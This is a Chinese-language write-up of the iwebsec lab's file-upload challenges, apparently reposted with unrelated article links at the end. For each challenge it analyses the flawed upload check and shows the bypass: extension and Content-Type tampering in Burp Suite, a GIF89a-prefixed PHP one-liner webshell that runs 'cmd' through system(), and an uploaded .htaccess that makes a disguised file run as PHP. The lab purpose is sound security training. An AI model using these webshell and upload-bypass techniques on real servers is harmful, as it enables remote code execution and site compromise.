iwebsec靶場-文件上傳漏洞

01-前端JS過濾繞過

1,查看前端代碼對文件上傳的限制策略

??????? function checkFile() {

??????????? var file = document.getElementsByName('upfile')[0].value;

??????????? if (file == null || file == "") {

??????????????? alert("你還沒有選擇任何文件,不能上傳!");

??????????????? return false;

??????????? }

??????????? //定義允許上傳的文件類型

??????????? var allow_ext = ".jpg|.jpeg|.png|.gif|.bmp|";

??????????? //提取上傳文件的類型

??????????? var ext_name = file.substring(file.lastIndexOf("."));

??????????? //alert(ext_name);

??????????? //alert(ext_name + "|");

??????????? //判斷上傳文件類型是否允許上傳

??????????? if (allow_ext.indexOf(ext_name + "|") == -1) {

??????????????? var errMsg = "該文件不允許上傳,請上傳" + allow_ext + "類型的文件,當前文件類型為:" + ext_name;

??????????????? alert(errMsg);

??????????????? return false;

??????????? }

??????? }

先將木馬命令為shell.jpg

然后嘗試上傳,在burp suite里面給請求包的文件名改回shell.php

然后使用蟻劍進行連接木馬,連接成功

02-文件名過濾繞過

文件上傳防御邏輯分析

1. 文件類型檢測機制

$type = substr($name, strrpos($name, '.')+1); // 獲取文件后綴
if($type=="php"){
??? die("不能上傳php文件!");
}

  • 檢測方式:僅通過文件擴展名判斷(取最后一個.后的內容)

致命缺陷:

  1. 未處理大小寫:.PHP.Php?等可繞過
  2. 未過濾特殊后綴:.phtml.php5?等PHP變種可執行
  3. 未驗證文件內容:真實文件類型可通過魔數偽造

2. 安全處理缺失

  • 無內容檢測:未使用?exif_imagetype()?或?mime_content_type()?驗證文件頭
  • 無重命名機制:使用原始文件名存儲,允許危險擴展名
  • 無尺寸限制:$size?僅做顯示,未做限制

3. 路徑處理風險

move_uploaded_file($tmp_name, 'up/'.$name);

  • 目錄遍歷漏洞:若文件名含?../?可覆蓋系統文件
  • 直接訪問風險:上傳目錄?up/?未設置訪問權限控制

?

1,命名為shell.PHP,嘗試上傳

文件上傳成功,連接鏈接如下http://192.168.23.130/upload/up/shell.PHP

03-Content-Type過濾繞過

文件上傳防御邏輯分析

1. 文件類型檢測機制

$type = $upfile["type"]; // 直接使用客戶端提供的 MIME 類型
switch ($type) {
??? case 'image/pjpeg': $okType = true; break;
??? case 'image/jpeg': $okType = true; break;
??? case 'image/gif': $okType = true; break;
??? case 'image/png': $okType = true; break;
}

致命漏洞:

  1. 完全信任客戶端提交的?Content-Type
  2. 攻擊者可通過抓包工具隨意修改 MIME 類型
  3. 未對文件內容進行任何驗證

2. 安全防護缺失

  • 無擴展名檢查:允許?shell.php?偽裝成?image/jpeg
  • 無文件頭驗證:未使用?exif_imagetype()?驗證實際文件類型
  • 無重命名機制:保留原始文件名,允許執行惡意腳本
  • 無尺寸限制:未限制上傳文件大小

3. 路徑處理風險

move_uploaded_file($tmp_name, 'up/'.$name);

  • 目錄遍歷風險:文件名含?../?可覆蓋系統文件
  • 執行權限風險:上傳目錄未禁止腳本執行

?

1,直接上傳shell.php,然后再直接修改 Content-Type

然后找到上傳位置連接一句話木馬

http://192.168.23.130/upload/up/shell.php

04-文件頭過濾繞過

文件上傳防御邏輯分析

1. 核心防御機制

// 文件頭驗證
if(!exif_imagetype($_FILES['upfile']['tmp_name'])){
??? die("請上傳圖片文件!");
}

防御原理:

  • 使用?exif_imagetype()?讀取文件頭魔數(magic bytes)
  • 驗證是否為有效的圖片格式(GIF/JPEG/PNG等)
  • 拒絕非圖片文件上傳

2. 擴展名提取方式

$type=substr($name, strrpos($name, '.')+1); // 獲取文件后綴

風險點:

  • 僅用于顯示,未做安全驗證
  • 未過濾危險擴展名(如?.php,?.phtml

3. 安全措施缺失

  • 無擴展名過濾:允許上傳?.php?等可執行擴展名
  • 無內容驗證:未檢查文件完整性或二次渲染
  • 無重命名機制:保留原始文件名
  • 無權限控制:上傳目錄未禁用腳本執行

?

1,首先寫一個具有圖片文件頭的木馬,burp suite改請求包內容

GIF89a;<?php system($_GET["cmd"]); ?>

沒有文件頭就會阻止上傳

上傳之后,然后連接成功

05-.htaccess文件上傳

文件上傳防御邏輯分析

1. 核心防御機制

$type = substr($name, strrpos($name, '.')+1); // 獲取文件擴展名
if (preg_match('/php/i', $type)) { // 黑名單過濾
??? die("不能上傳php文件!");
}

防御原理:

  1. 提取文件擴展名(最后一個.后的內容)
  2. 使用正則?/php/i?匹配擴展名是否包含"php"(不區分大小寫)
  3. 攔截所有包含"php"的擴展名(如?.php,?.php5,?.phtml

2. 防御措施的優缺點

優點:

  • 攔截常見PHP擴展名變種
  • 大小寫不敏感匹配(.PHP,?.Php等都會被攔截)

致命缺陷:

  1. 黑名單機制不完整:
  • 未覆蓋其他可執行擴展名:.htaccess,?.phar,?.inc
  • 未處理特殊擴展名:.php7,?.phps,?.pht
  1. 未驗證文件內容:
  • 允許上傳偽裝成其他格式的PHP文件(如圖片馬)
  1. 路徑處理風險:
    move_uploaded_file($tmp_name, 'up/'.$name);
  • 目錄遍歷:文件名含../可覆蓋系統文件
  • 直接上傳.htaccess文件可改變服務器行為

?

關鍵漏洞:.htaccess 攻擊

攻擊原理

  1. 上傳特制的?.htaccess?文件
  2. 修改服務器配置,使特定擴展名文件被當作PHP執行
  3. 上傳偽裝成該擴展名的Webshell

攻擊步驟

步驟1:上傳.htaccess文件

<FilesMatch "shell.xyz ">

? SetHandler application/x-httpd-php

</FilesMatch>

  • 繞過檢測:擴展名.htaccess不含"php" → 通過檢查

步驟2:上傳Webshell的一句話木馬

步驟3:蟻劍連接

06-文件截斷上傳

07-競爭條件文件上傳

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/86035.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/86035.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/86035.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

GitHub 趨勢日報 (2025年06月23日)

&#x1f4ca; 由 TrendForge 系統生成 | &#x1f310; https://trendforge.devlive.org/ &#x1f310; 本日報中的項目描述已自動翻譯為中文 &#x1f4c8; 今日獲星趨勢圖 今日獲星趨勢圖 390 suna 387 system-prompts-and-models-of-ai-tools 383 Web-Dev-For-Beginners…

告別水印煩惱,一鍵解鎖高清無痕圖片與視頻!

在這個數字化飛速發展的時代&#xff0c;無論是設計小白還是創意達人&#xff0c;都可能遇到這樣的困擾&#xff1a;心儀的圖片或視頻因水印而大打折扣&#xff0c;創意靈感因水印而受限。別急&#xff0c;今天就為大家帶來幾款神器&#xff0c;讓你輕松告別水印煩惱&#xff0…

LangChain4j在Java企業應用中的實戰指南:構建RAG系統與智能應用-2

LangChain4j在Java企業應用中的實戰指南&#xff1a;構建RAG系統與智能應用-2 開篇&#xff1a;LangChain4j框架及其在Java生態中的定位 隨著人工智能技術的快速發展&#xff0c;尤其是大語言模型&#xff08;Large Language Models, LLMs&#xff09;的廣泛應用&#xff0c;…

Cola StateMachine 的無狀態(Stateless)特性詳解

Cola StateMachine 的無狀態&#xff08;Stateless&#xff09;特性詳解 在現代分布式系統中&#xff0c;無狀態設計是構建高可用、可擴展服務的關鍵原則之一。Cola StateMachine 作為一款輕量級的狀態機框架&#xff0c;通過其獨特的設計理念實現了良好的無狀態特性。本文將深…

使用事件通知來處理頁面回退時傳遞參數和賦值問題

背景。uniapp開發微信小程序。在當前頁面需要選擇條件&#xff0c;如選擇城市。會打開新的頁面。此時選擇之后需要關閉頁面回到當初的頁面。但問題出現了。onLoad等事件是不會加載的。相關鏈接。uniapp頁面通訊說明使用事件通知來處理頁面回退時傳遞參數和賦值問題 頁面之間的…

騰訊云COS“私有桶”下,App如何安全獲得音頻調用流程

流程圖 #mermaid-svg-Phy4VCltBRZ90UH8 {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-Phy4VCltBRZ90UH8 .error-icon{fill:#552222;}#mermaid-svg-Phy4VCltBRZ90UH8 .error-text{fill:#552222;stroke:#552222;}#me…

基于深度學習的側信道分析(DLSCA)Python實現(帶測試)

一、DLSCA原理介紹 基于深度學習的側信道分析(DLSCA)是一種結合深度神經網絡與側信道分析技術的密碼分析方法。該方法利用深度學習模型從能量消耗、電磁輻射等側信道信息中提取與密鑰相關的特征模式。相比傳統分析方法&#xff0c;DLSCA能夠自動學習復雜的特征關系&#xff0c…

云原生 CAD 讓制造業設計協同更便捷

隨著互聯網、云計算技術的突飛猛進&#xff0c;CAD向著網絡化、協同化的方向快速發展&#xff0c;云CAD軟件逐漸映入人們的眼簾。云原生CAD不僅打破了傳統CAD軟件對硬件配置的依賴&#xff0c;更以數據驅動的協同創新模式&#xff0c;重塑了制造業的產品研發流程與組織協作形態…

Docker容器核心操作指南:`docker run`參數深度解析

技術聚焦 作為容器化技術的起點&#xff0c;docker run命令承擔著90%的容器創建工作。其關鍵參數-d&#xff08;后臺模式&#xff09;與-it&#xff08;交互模式&#xff09;的合理運用&#xff0c;直接影響容器行為模式與運維效率。本文將深度拆解兩大模式的應用場景與…

基于單片機的語音控制設計(論文)

摘要 自然語音作為人機交互在目前得以廣泛的應用以及極大的發展前景。該設計介紹了基于非指定人語音芯片LD3320的語音控制器結構及其實現語音控制的方法。該語音控制器利用STM32F103C8T6單片機作為主要控制器&#xff0c;控制芯片對輸入的進行語音識別并處理&#xff0c;根據語…

【論文閱讀 | CVPRW 2023 |CSSA :基于通道切換和空間注意力的多模態目標檢測】

論文閱讀 | CVPRW 2023 |CSSA &#xff1a;基于通道切換和空間注意力的多模態目標檢測 1.摘要&&引言2.方法2.1 框架概述2.2 通道切換通道注意力2.3 空間注意力 3. 實驗3.1 實驗設置3.1.1 數據集3.1.2 實現細節3.1.3 評估指標 3.2 對比研究3.2.1 定量結果3.2.2 定性結果…

《前端資源守衛者:SRI安全防護全解析》

SRI&#xff08;子資源完整性&#xff09;作為守護前端安全的隱形盾牌&#xff0c;以精妙的技術設計構建起資源驗證防線。深入理解其工作邏輯與配置方法&#xff0c;是每位前端開發者筑牢應用安全的必修課。 SRI的核心價值&#xff0c;在于為外部資源打造獨一無二的“數字身份…

項目需求評審報告參考模板

該文檔是需求評審報告模板 內容涵蓋評審基礎信息,如項目名稱、評審時間、地點、級別、方式等;包含評審簽到表,記錄角色、部門、職務、姓名等信息;還有評審工作量統計相關內容;以及評審問題跟蹤表,記錄問題描述、狀態、解決人及時限等,還附有填表說明,對評審適用范圍、工…

從依賴進口到自主創新:AI 電子設計系統如何重塑 EDA 全流程

EDA全稱是Electronic Design Automation&#xff0c;即電子設計自動化&#xff0c;是利用計算機軟件完成電路設計、仿真、驗證等流程的設計工具&#xff0c;貫穿于芯片和板級電路設計、制造、測試等環節&#xff0c;是不可或缺的基礎設計工具。 EDA與電子材料、裝備是電子信…

前端工程化之微前端

微前端 微前端基本知識主要的微前端框架iframe優點&#xff1a;缺點&#xff1a; single-spa示例主應用spa-root-config.jsmicrofrontend-layout.htmlindex.ejs 子應用spa-react-app2.jsroot.component.js 修改路由spa-demo/microfrontend-layout.htmlspa-demo/react-app1/webp…

MemcacheRedis--緩存服務器理論

Memcached/redis是高性能的分布式內存緩存服務器,通過緩存數據庫查詢結果&#xff0c;減少數據庫訪問次數&#xff0c;以提高動態Web等應用的速度、 提高可擴展性。 緩存服務器作用: 加快訪問速度 ,緩解數據庫壓力 1. memcached&#xff08;單節點在用&#xff09; 1.1 特點 1…

【stm32】標準庫學習——I2C

目錄 一、I2C 1.I2C簡介 2.MPU6050參數 3.I2C時序基本單元 二、I2C外設 1.I2C外設簡介 2.配置I2C基本結構 3.初始化函數模板 4.常用函數 一、I2C 1.I2C簡介 本節課使用的是MPU6050硬件外設 2.MPU6050參數 3.I2C時序基本單元 這里發送應答是指主機發送&#xff0c;即…

HSA22HSA29美光固態芯片D8BJVC8BJW

HSA22HSA29美光固態芯片D8BJVC8BJW 美光固態芯片D8BJVC8BJW系列&#xff1a;技術革新與行業應用深度解析 一、技術解析&#xff1a;核心架構與創新突破 美光D8BJVC8BJW系列固態芯片&#xff08;如MT29F8T08EQLEHL5-QAES:E、MT29F512G08CUCABH3-12Q等&#xff09;的技術競爭力…

【Linux網絡與網絡編程】06.應用層協議HTTP

前言 雖然應用層協議是我們程序猿自己定的&#xff0c;但實際上已經有大佬們定義了一些現成的又非常好用的應用層協議供我們直接參考使用&#xff0c;HTTP(超文本傳輸協議)就是其中之一。 在互聯網世界中&#xff0c;HTTP&#xff08;HyperText Transfer Protocol&#xff0c…

磁懸浮軸承的“生死線”:磁軸承氣隙與保護軸承氣隙的可靠性設計

在高速旋轉機械的尖端領域&#xff0c;磁懸浮軸承&#xff08;AMB&#xff09;憑借無摩擦、超高轉速、免潤滑等優勢傲視群雄。然而&#xff0c;其核心參數——氣隙的設置&#xff0c;尤其是額定工作氣隙與保護軸承&#xff08;輔助軸承&#xff09;氣隙之間的大小關系與具體數值…